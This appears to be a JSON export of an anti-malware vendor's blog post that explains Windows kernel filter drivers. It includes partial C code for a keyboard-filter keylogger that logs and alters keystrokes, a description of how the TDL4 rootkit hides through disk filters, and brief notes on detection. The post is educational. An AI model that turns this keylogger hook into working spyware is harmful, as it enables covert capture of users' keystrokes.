{"id":227,"date":"2014-07-10T06:57:45","date_gmt":"2014-07-10T06:57:45","guid":{"rendered":"http:\/\/www.adlice.com\/?p=227"},"modified":"2022-12-21T10:39:43","modified_gmt":"2022-12-21T10:39:43","slug":"kernelmode-rootkits-part-3-kernel-filters","status":"publish","type":"post","link":"https:\/\/www.adlice.com\/de\/kernelmode-rootkits-part-3-kernel-filters\/","title":{"rendered":"KernelMode Rootkits: Part 3, kernel filters"},"content":{"rendered":"\n<p>This is the third part of this series about <strong>Kernel Mode rootkits<\/strong>, I wanted to write on it and demonstrate how some rootkits (Ex: Keyloggers) do to <strong>intercept keystrokes<\/strong> by using kernel filters.<\/p>\n\n\n\n<p>To understand the basics of kernelmode, drivers, <a title=\"KernelMode rootkits: Part 1, SSDT hooks\" href=\"https:\/\/www.adlice.com\/kernelmode-rootkits-part-1-ssdt-hooks\/\"><strong>please refer to the first part<\/strong><\/a>. <strong>This post is about a classic trick<\/strong>, known for decades. Malware specialists may know this already, so this is mostly an introduction for whom willing to learn the theory of rootkits, and have a demonstration. Call that beginners if you want \ud83d\ude42<\/p>\n\n\n\n<h4 class=\"has-accent-color has-text-color wp-block-heading\"><br>Kernel filters<\/h4>\n\n\n\n<p><strong><a href=\"http:\/\/msdn.microsoft.com\/en-us\/library\/windows\/hardware\/ff540382%28v=vs.85%29.aspx\">A kernel filter is a driver\/device<\/a> attached to another device, so that it&#8217;s inserted between 2 <a href=\"http:\/\/msdn.microsoft.com\/en-us\/library\/windows\/hardware\/hh439632%28v=vs.85%29.aspx\">different layers of a driver stack<\/a><\/strong>.<\/p>\n\n\n\n<p>Imagine that when you press a key on your keyboard the information isn&#8217;t sent directly to your screen to type the character. Between the time you pressed the key and the time it&#8217;s displayed on the screen, <strong>the information is passed through several drivers, each acting as an abstraction layer to simplify the information for the next level<\/strong>. It starts with an electrical information, and ends with a character. Then the applicative layer can interpret the character and send it down to the screen driver stack. The character is then transformed into a pixel with a color and a position.<\/p>\n\n\n\n<p><strong>For each driver, there are some major functions that receive IRPs to process<\/strong> (for example, the disk driver stack can receive a disk read request). Each IRP is processed by the current driver, and <strong>passed down to the next driver of the stack<\/strong>. Once we reached the last driver, it&#8217;s processed by the hardware and <strong>comes back in reverse order<\/strong>. <strong>Each driver of the stack is actually a filter and can modify the information<\/strong>. For example, if we try to read a specific file, we can just deny access, or we can modify the bytes directly in the system buffer.<\/p>\n\n\n\n<p><strong>Kernel filters are used by malware or legit drivers to do multiple things, from keylogging to <a href=\"http:\/\/www.codeproject.com\/Articles\/43586\/File-System-Filter-Driver-Tutorial\">disk access filtering<\/a>, <a href=\"http:\/\/www.codeproject.com\/Articles\/134730\/Applied-OpenSSL-CTR-Mode-in-File-Encryption\">encryption<\/a>, &#8230;<\/strong><br>&nbsp;<\/p>\n\n\n\n<figure class=\"wp-block-image alignnone\"><a href=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/filesystem_filter.jpg\"><img decoding=\"async\" width=\"605\" height=\"425\" src=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/filesystem_filter.jpg\" alt=\"filesystem filter\" class=\"wp-image-229\" srcset=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/filesystem_filter.jpg 605w, https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/filesystem_filter-300x211.jpg 300w\" sizes=\"(max-width: 605px) 100vw, 605px\" \/><\/a><figcaption class=\"wp-element-caption\">filesystem filter<\/figcaption><\/figure>\n\n\n\n<h4 class=\"has-accent-color has-text-color wp-block-heading\"><br>Practical case: Keylogger<\/h4>\n\n\n\n<p>We&#8217;ll study a practical case of highly stealth keylogger, deeply hidden in the kernel. <strong>Disclaimer: This is not a tutorial to make a rootkit, but a practical case for educational purpose only.<\/strong> Anyway, this is covered for decades on other websites&#8230;<\/p>\n\n\n\n<p>I&#8217;ll not show you the entire kernel code, and especially how to attach to the keyboard stack. I&#8217;ll just write the hooking filter function.<strong> We want to intercept keystrokes, so we will attach to the keyboard stack and read IRP_MJ_READ. <\/strong> I haven&#8217;t told before, <a href=\"http:\/\/www.codeproject.com\/Articles\/9504\/Driver-Development-Part-Introduction-to-Drivers\">but as it&#8217;s kernel mode code, you&#8217;d need to code a driver.<\/a><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>NTSTATUS DispatchRead(IN PDEVICE_OBJECT pDeviceObject, IN PIRP pIrp)\n{    \n    \/\/Each driver that passes IRPs on to lower drivers must set up the stack location for the \n    \/\/next lower driver. A driver calls IoGetNextIrpStackLocation to get a pointer to the next-lower\n    \/\/driver\u2019s I\/O stack location\n    PIO_STACK_LOCATION currentIrpStack = IoGetCurrentIrpStackLocation(pIrp);\n    PIO_STACK_LOCATION nextIrpStack    = IoGetNextIrpStackLocation(pIrp);\n    *nextIrpStack = *currentIrpStack;\n\n    \/\/Set the completion callback\n    \/\/Tag the IPR so that we get it once completed\n    IoSetCompletionRoutine(pIrp, OnReadCompletion, pDeviceObject, TRUE, TRUE, TRUE);\n\n    \/\/Pass the IRP on down to the driver underneath us\n    return IoCallDriver(((PDEVICE_EXTENSION) pDeviceObject-&amp;gt;DeviceExtension)-&amp;gt;pKeyboardDevice ,pIrp);\n\n}\n\nNTSTATUS OnReadCompletion(IN PDEVICE_OBJECT pDeviceObject, IN PIRP pIrp, IN PVOID Context)\n{\n    \/\/get the device extension - we'll need to use it later\n    PDEVICE_EXTENSION pKeyboardDeviceExtension = (PDEVICE_EXTENSION)pDeviceObject-&amp;gt;DeviceExtension; \n    \n    \/\/if the request has completed, extract the value of the key\n    if(pIrp-&amp;gt;IoStatus.Status == STATUS_SUCCESS)\n    {\n        PKEYBOARD_INPUT_DATA keys = (PKEYBOARD_INPUT_DATA)pIrp-&amp;gt;AssociatedIrp.SystemBuffer;\n        int numKeys = pIrp-&amp;gt;IoStatus.Information \/ sizeof(KEYBOARD_INPUT_DATA);\n\n\t\t\/\/ For each pressed key\n        for(int i = 0; i &amp;lt; numKeys; i++) { KEY_DATA* kData = (KEY_DATA*)ExAllocatePool(NonPagedPool,sizeof(KEY_DATA)); \/\/fill in kData structure with info from IRP kData-&amp;gt;KeyData  = (char)keys&#91;i].MakeCode;\n            kData-&amp;gt;KeyFlags = (char)keys&#91;i].Flags;\n                        \n            \/\/***********************************\n            \/\/Convert the scan code to a key code\n            \/\/************************************\n            char keyss&#91;3] = {0};\n            ConvertScanCodeToKeyCode(pKeyboardDeviceExtension,kData,keyss);         \n            \n            if(keyss != 0)\n                DbgPrint(\"&#91;%x] %s -- FLAG %x\\n\", keys&#91;i].MakeCode, keyss, keys&#91;i].Flags);       \n            \n            \/\/Modify ScanCode \n\t\t\t\/\/replace every 'r' (0x13) by a 'w' (0x2C)\n            if (keys&#91;i].MakeCode == 0x13) keys&#91;i].MakeCode = 0x2c;                \n            \n            \/\/***********************************\n            \/\/***********************************\n        }\n    }\n\n    \/\/Mark the Irp pending if necessary\n    if(pIrp-&amp;gt;PendingReturned) IoMarkIrpPending(pIrp);\n\n    \/\/Remove the Irp from our own count of tagged (pending) IRPs\n     numPendingIrps--;\n\n    return pIrp-&amp;gt;IoStatus.Status;\n}\n<\/code><\/pre>\n\n\n\n<p><br><strong>The code is self explaining, fully commented.<\/strong><br>We get an IRP from the IRP_MJ_READ function coming from userland, and <strong>we tag the IRP so that we get a completion routine<\/strong> hit when we come from the hardware (keyboard). In the completion routine, <strong>we just modify every &#8216;r&#8217; keystroke by a &#8216;w&#8217; keystroke<\/strong>.<br>&nbsp;<\/p>\n\n\n\n<figure class=\"wp-block-image alignnone\"><a href=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/klog.png\"><img decoding=\"async\" width=\"959\" height=\"429\" src=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/klog.png\" alt=\"keylogger in action\" class=\"wp-image-230\" srcset=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/klog.png 959w, https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/klog-300x134.png 300w\" sizes=\"(max-width: 959px) 100vw, 959px\" \/><\/a><figcaption class=\"wp-element-caption\">keylogger in action<\/figcaption><\/figure>\n\n\n\n<p><br>&nbsp;<br><strong>A demo of the rootkit is available here: <\/strong><\/p>\n\n\n\n<figure class=\"wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\n<iframe title=\"Kernel filter demo keylogger\" width=\"1200\" height=\"675\" src=\"https:\/\/www.youtube.com\/embed\/kjNAdZ3zpTM?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen><\/iframe>\n<\/div><\/figure>\n\n\n\n<h4 class=\"has-accent-color has-text-color wp-block-heading\"><br>Special example: TDL4<\/h4>\n\n\n\n<p><strong>TDL4 rootkit uses kernel filters to attach to atapi driver stack<\/strong>, and filter disk access to hide it&#8217;s infected MBR. However, TDL4 doesn&#8217;t use a classic kernel filter, <strong>but a reverse attaching<\/strong> (not attached above, but attached below the device stack). Here&#8217;s some screenshots about what it looks like seen from the kernel. <strong>Note: In these screenshot, the practical case above was also started, this is why you can see a detected keylogger as well.<\/strong><br>&nbsp;<\/p>\n\n\n\n<figure class=\"wp-block-image alignnone\"><a href=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/tdl4.png\"><img decoding=\"async\" width=\"1222\" height=\"600\" src=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/tdl4.png\" alt=\"TDL4 as seen from the kernel\" class=\"wp-image-231\" srcset=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/tdl4.png 1222w, https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/tdl4-300x147.png 300w, https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/tdl4-1024x503.png 1024w\" sizes=\"(max-width: 1222px) 100vw, 1222px\" \/><\/a><figcaption class=\"wp-element-caption\">TDL4 as seen from the kernel<\/figcaption><\/figure>\n\n\n\n<figure class=\"wp-block-image alignnone\"><a href=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/Capture-3.png\"><img decoding=\"async\" width=\"976\" height=\"299\" src=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/Capture-3.png\" alt=\"TDL4 as seen by RogueKiller\" class=\"wp-image-228\" srcset=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/Capture-3.png 976w, https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/Capture-3-300x92.png 300w\" sizes=\"(max-width: 976px) 100vw, 976px\" \/><\/a><figcaption class=\"wp-element-caption\">TDL4 as seen by RogueKiller<\/figcaption><\/figure>\n\n\n\n<h4 class=\"has-accent-color has-text-color wp-block-heading\"><br>Detection\/Removal<\/h4>\n\n\n\n<p><strong>To detect kernel filters, we need to load a driver that will scan recursively all attached devices of a driver, and get for each the driver name and module<\/strong>. To remove a Kernel filter, you just need to remove the filter device from the attached pointer. Pretty straight forward, but can be dangerous (BSoD).<\/p>\n\n\n\n<h4 class=\"has-accent-color has-text-color wp-block-heading\"><br>Useful links<\/h4>\n\n\n\n<p>&#8211; <a href=\"http:\/\/www.amazon.com\/Rootkits-Subverting-Windows-Greg-Hoglund\/dp\/0321294319\">Rootkits: Subversing the windows kernel.<\/a><br>&#8211; <a href=\"http:\/\/www.codeproject.com\/Articles\/43586\/File-System-Filter-Driver-Tutorial\">Filesystem Filter driver tutorial<\/a><br>&#8211; <a href=\"http:\/\/www.codeproject.com\/Articles\/134730\/Applied-OpenSSL-CTR-Mode-in-File-Encryption\">OpenSLL encryption from kernel<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>KernelMode Rootkits explained. This is the third part of this rootkit writing tutorial in which we will detail the basics about kernel rootkits.<\/p>\n","protected":false},"author":1,"featured_media":229,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[36,84],"tags":[7,47,52,198,197,89,43],"class_list":["post-227","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-analysis","category-tutorial","tag-analysis","tag-anti-rootkit","tag-antivirus","tag-filter","tag-kernel","tag-research","tag-rootkit","category-36","category-84","description-off"],"views":9234,"yoast_score":67,"yoast_readable":60,"featured_image_src":"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/filesystem_filter.jpg","author_info":{"display_name":"tigzy","author_link":"https:\/\/www.adlice.com\/de\/author\/tigzy\/"},"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.1.1 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>KernelMode Rootkits, Part 3 | Kernel Filters \u2022 Adlice Software<\/title>\n<meta name=\"description\" content=\"KernelMode Rootkits explained. This is the third part of this rootkit writing tutorial and it covers kernel filters.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.adlice.com\/kernelmode-rootkits-part-3-kernel-filters\/\" \/>\n<meta property=\"og:locale\" content=\"de_DE\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"KernelMode Rootkits, Part 3 | Kernel Filters \u2022 Adlice Software\" \/>\n<meta property=\"og:description\" content=\"KernelMode Rootkits explained. This is the third part of this rootkit writing tutorial and it covers kernel filters.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.adlice.com\/kernelmode-rootkits-part-3-kernel-filters\/\" \/>\n<meta property=\"og:site_name\" content=\"Adlice Software\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/RogueKiller\" \/>\n<meta property=\"article:published_time\" content=\"2014-07-10T06:57:45+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2022-12-21T10:39:43+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/filesystem_filter.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"605\" \/>\n\t<meta property=\"og:image:height\" content=\"425\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"tigzy\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@AdliceSoftware\" \/>\n<meta name=\"twitter:site\" content=\"@AdliceSoftware\" \/>\n<meta name=\"twitter:label1\" content=\"Verfasst von\" \/>\n\t<meta name=\"twitter:data1\" content=\"tigzy\" \/>\n\t<meta name=\"twitter:label2\" content=\"Gesch\u00e4tzte Lesezeit\" \/>\n\t<meta name=\"twitter:data2\" content=\"5\u00a0Minuten\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.adlice.com\/kernelmode-rootkits-part-3-kernel-filters\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.adlice.com\/kernelmode-rootkits-part-3-kernel-filters\/\"},\"author\":{\"name\":\"tigzy\",\"@id\":\"https:\/\/www.adlice.com\/#\/schema\/person\/a02b30804320a4059d268dc2567a307d\"},\"headline\":\"KernelMode Rootkits: Part 3, kernel filters\",\"datePublished\":\"2014-07-10T06:57:45+00:00\",\"dateModified\":\"2022-12-21T10:39:43+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.adlice.com\/kernelmode-rootkits-part-3-kernel-filters\/\"},\"wordCount\":693,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\/\/www.adlice.com\/#organization\"},\"image\":{\"@id\":\"https:\/\/www.adlice.com\/kernelmode-rootkits-part-3-kernel-filters\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/filesystem_filter.jpg\",\"keywords\":[\"analysis\",\"anti-rootkit\",\"antivirus\",\"filter\",\"kernel\",\"research\",\"rootkit\"],\"articleSection\":[\"Analysis\",\"Tutorial\"],\"inLanguage\":\"de\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.adlice.com\/kernelmode-rootkits-part-3-kernel-filters\/\",\"url\":\"https:\/\/www.adlice.com\/kernelmode-rootkits-part-3-kernel-filters\/\",\"name\":\"KernelMode Rootkits, Part 3 | Kernel Filters \u2022 Adlice Software\",\"isPartOf\":{\"@id\":\"https:\/\/www.adlice.com\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/www.adlice.com\/kernelmode-rootkits-part-3-kernel-filters\/#primaryimage\"},\"image\":{\"@id\":\"https:\/\/www.adlice.com\/kernelmode-rootkits-part-3-kernel-filters\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/filesystem_filter.jpg\",\"datePublished\":\"2014-07-10T06:57:45+00:00\",\"dateModified\":\"2022-12-21T10:39:43+00:00\",\"description\":\"KernelMode Rootkits explained. This is the third part of this rootkit writing tutorial and it covers kernel filters.\",\"breadcrumb\":{\"@id\":\"https:\/\/www.adlice.com\/kernelmode-rootkits-part-3-kernel-filters\/#breadcrumb\"},\"inLanguage\":\"de\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.adlice.com\/kernelmode-rootkits-part-3-kernel-filters\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"de\",\"@id\":\"https:\/\/www.adlice.com\/kernelmode-rootkits-part-3-kernel-filters\/#primaryimage\",\"url\":\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/filesystem_filter.jpg\",\"contentUrl\":\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/filesystem_filter.jpg\",\"width\":605,\"height\":425,\"caption\":\"filesystem filter\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.adlice.com\/kernelmode-rootkits-part-3-kernel-filters\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/www.adlice.com\/de\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"KernelMode Rootkits: Part 3, kernel filters\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.adlice.com\/#website\",\"url\":\"https:\/\/www.adlice.com\/\",\"name\":\"Adlice Software\",\"description\":\"Anti-malware and analysis tools\",\"publisher\":{\"@id\":\"https:\/\/www.adlice.com\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.adlice.com\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"de\"},{\"@type\":\"Organization\",\"@id\":\"https:\/\/www.adlice.com\/#organization\",\"name\":\"Adlice Software\",\"url\":\"https:\/\/www.adlice.com\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"de\",\"@id\":\"https:\/\/www.adlice.com\/#\/schema\/logo\/image\/\",\"url\":\"https:\/\/www.adlice.com\/wp-content\/uploads\/2020\/05\/B1rTNpTG_400x40_10.png\",\"contentUrl\":\"https:\/\/www.adlice.com\/wp-content\/uploads\/2020\/05\/B1rTNpTG_400x40_10.png\",\"width\":276,\"height\":276,\"caption\":\"Adlice Software\"},\"image\":{\"@id\":\"https:\/\/www.adlice.com\/#\/schema\/logo\/image\/\"},\"sameAs\":[\"https:\/\/www.facebook.com\/RogueKiller\",\"https:\/\/x.com\/AdliceSoftware\",\"https:\/\/fr.linkedin.com\/company\/adlice-software\",\"https:\/\/www.youtube.com\/channel\/UC4CQ-gIZMGWxl-auf0QqYhQ\"]},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.adlice.com\/#\/schema\/person\/a02b30804320a4059d268dc2567a307d\",\"name\":\"tigzy\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"de\",\"@id\":\"https:\/\/www.adlice.com\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/d81e380961b1b69969fa84994ad1e4cba26afe93a49d8dd3148e9c33ffe4ccac?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/d81e380961b1b69969fa84994ad1e4cba26afe93a49d8dd3148e9c33ffe4ccac?s=96&d=mm&r=g\",\"caption\":\"tigzy\"},\"description\":\"Founder and owner of Adlice Software, Tigzy started as lead developer on the popular Anti-malware called RogueKiller. Involved in all the Adlice projects as lead developer, Tigzy is also doing research and reverse engineering as well as writing blog posts.\",\"url\":\"https:\/\/www.adlice.com\/de\/author\/tigzy\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"KernelMode Rootkits, Part 3 | Kernel Filters \u2022 Adlice Software","description":"KernelMode Rootkits explained. This is the third part of this rootkit writing tutorial and it covers kernel filters.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.adlice.com\/kernelmode-rootkits-part-3-kernel-filters\/","og_locale":"de_DE","og_type":"article","og_title":"KernelMode Rootkits, Part 3 | Kernel Filters \u2022 Adlice Software","og_description":"KernelMode Rootkits explained. This is the third part of this rootkit writing tutorial and it covers kernel filters.","og_url":"https:\/\/www.adlice.com\/kernelmode-rootkits-part-3-kernel-filters\/","og_site_name":"Adlice Software","article_publisher":"https:\/\/www.facebook.com\/RogueKiller","article_published_time":"2014-07-10T06:57:45+00:00","article_modified_time":"2022-12-21T10:39:43+00:00","og_image":[{"width":605,"height":425,"url":"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/filesystem_filter.jpg","type":"image\/jpeg"}],"author":"tigzy","twitter_card":"summary_large_image","twitter_creator":"@AdliceSoftware","twitter_site":"@AdliceSoftware","twitter_misc":{"Verfasst von":"tigzy","Gesch\u00e4tzte Lesezeit":"5\u00a0Minuten"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.adlice.com\/kernelmode-rootkits-part-3-kernel-filters\/#article","isPartOf":{"@id":"https:\/\/www.adlice.com\/kernelmode-rootkits-part-3-kernel-filters\/"},"author":{"name":"tigzy","@id":"https:\/\/www.adlice.com\/#\/schema\/person\/a02b30804320a4059d268dc2567a307d"},"headline":"KernelMode Rootkits: Part 3, kernel filters","datePublished":"2014-07-10T06:57:45+00:00","dateModified":"2022-12-21T10:39:43+00:00","mainEntityOfPage":{"@id":"https:\/\/www.adlice.com\/kernelmode-rootkits-part-3-kernel-filters\/"},"wordCount":693,"commentCount":0,"publisher":{"@id":"https:\/\/www.adlice.com\/#organization"},"image":{"@id":"https:\/\/www.adlice.com\/kernelmode-rootkits-part-3-kernel-filters\/#primaryimage"},"thumbnailUrl":"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/filesystem_filter.jpg","keywords":["analysis","anti-rootkit","antivirus","filter","kernel","research","rootkit"],"articleSection":["Analysis","Tutorial"],"inLanguage":"de"},{"@type":"WebPage","@id":"https:\/\/www.adlice.com\/kernelmode-rootkits-part-3-kernel-filters\/","url":"https:\/\/www.adlice.com\/kernelmode-rootkits-part-3-kernel-filters\/","name":"KernelMode Rootkits, Part 3 | Kernel Filters \u2022 Adlice Software","isPartOf":{"@id":"https:\/\/www.adlice.com\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.adlice.com\/kernelmode-rootkits-part-3-kernel-filters\/#primaryimage"},"image":{"@id":"https:\/\/www.adlice.com\/kernelmode-rootkits-part-3-kernel-filters\/#primaryimage"},"thumbnailUrl":"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/filesystem_filter.jpg","datePublished":"2014-07-10T06:57:45+00:00","dateModified":"2022-12-21T10:39:43+00:00","description":"KernelMode Rootkits explained. This is the third part of this rootkit writing tutorial and it covers kernel filters.","breadcrumb":{"@id":"https:\/\/www.adlice.com\/kernelmode-rootkits-part-3-kernel-filters\/#breadcrumb"},"inLanguage":"de","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.adlice.com\/kernelmode-rootkits-part-3-kernel-filters\/"]}]},{"@type":"ImageObject","inLanguage":"de","@id":"https:\/\/www.adlice.com\/kernelmode-rootkits-part-3-kernel-filters\/#primaryimage","url":"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/filesystem_filter.jpg","contentUrl":"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/filesystem_filter.jpg","width":605,"height":425,"caption":"filesystem filter"},{"@type":"BreadcrumbList","@id":"https:\/\/www.adlice.com\/kernelmode-rootkits-part-3-kernel-filters\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/www.adlice.com\/de\/"},{"@type":"ListItem","position":2,"name":"KernelMode Rootkits: Part 3, kernel filters"}]},{"@type":"WebSite","@id":"https:\/\/www.adlice.com\/#website","url":"https:\/\/www.adlice.com\/","name":"Adlice Software","description":"Anti-malware and analysis tools","publisher":{"@id":"https:\/\/www.adlice.com\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.adlice.com\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"de"},{"@type":"Organization","@id":"https:\/\/www.adlice.com\/#organization","name":"Adlice Software","url":"https:\/\/www.adlice.com\/","logo":{"@type":"ImageObject","inLanguage":"de","@id":"https:\/\/www.adlice.com\/#\/schema\/logo\/image\/","url":"https:\/\/www.adlice.com\/wp-content\/uploads\/2020\/05\/B1rTNpTG_400x40_10.png","contentUrl":"https:\/\/www.adlice.com\/wp-content\/uploads\/2020\/05\/B1rTNpTG_400x40_10.png","width":276,"height":276,"caption":"Adlice Software"},"image":{"@id":"https:\/\/www.adlice.com\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/www.facebook.com\/RogueKiller","https:\/\/x.com\/AdliceSoftware","https:\/\/fr.linkedin.com\/company\/adlice-software","https:\/\/www.youtube.com\/channel\/UC4CQ-gIZMGWxl-auf0QqYhQ"]},{"@type":"Person","@id":"https:\/\/www.adlice.com\/#\/schema\/person\/a02b30804320a4059d268dc2567a307d","name":"tigzy","image":{"@type":"ImageObject","inLanguage":"de","@id":"https:\/\/www.adlice.com\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/d81e380961b1b69969fa84994ad1e4cba26afe93a49d8dd3148e9c33ffe4ccac?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/d81e380961b1b69969fa84994ad1e4cba26afe93a49d8dd3148e9c33ffe4ccac?s=96&d=mm&r=g","caption":"tigzy"},"description":"Founder and owner of Adlice Software, Tigzy started as lead developer on the popular Anti-malware called RogueKiller. Involved in all the Adlice projects as lead developer, Tigzy is also doing research and reverse engineering as well as writing blog posts.","url":"https:\/\/www.adlice.com\/de\/author\/tigzy\/"}]}},"_links":{"self":[{"href":"https:\/\/www.adlice.com\/de\/wp-json\/wp\/v2\/posts\/227","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.adlice.com\/de\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.adlice.com\/de\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.adlice.com\/de\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.adlice.com\/de\/wp-json\/wp\/v2\/comments?post=227"}],"version-history":[{"count":0,"href":"https:\/\/www.adlice.com\/de\/wp-json\/wp\/v2\/posts\/227\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.adlice.com\/de\/wp-json\/wp\/v2\/media\/229"}],"wp:attachment":[{"href":"https:\/\/www.adlice.com\/de\/wp-json\/wp\/v2\/media?parent=227"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.adlice.com\/de\/wp-json\/wp\/v2\/categories?post=227"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.adlice.com\/de\/wp-json\/wp\/v2\/tags?post=227"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}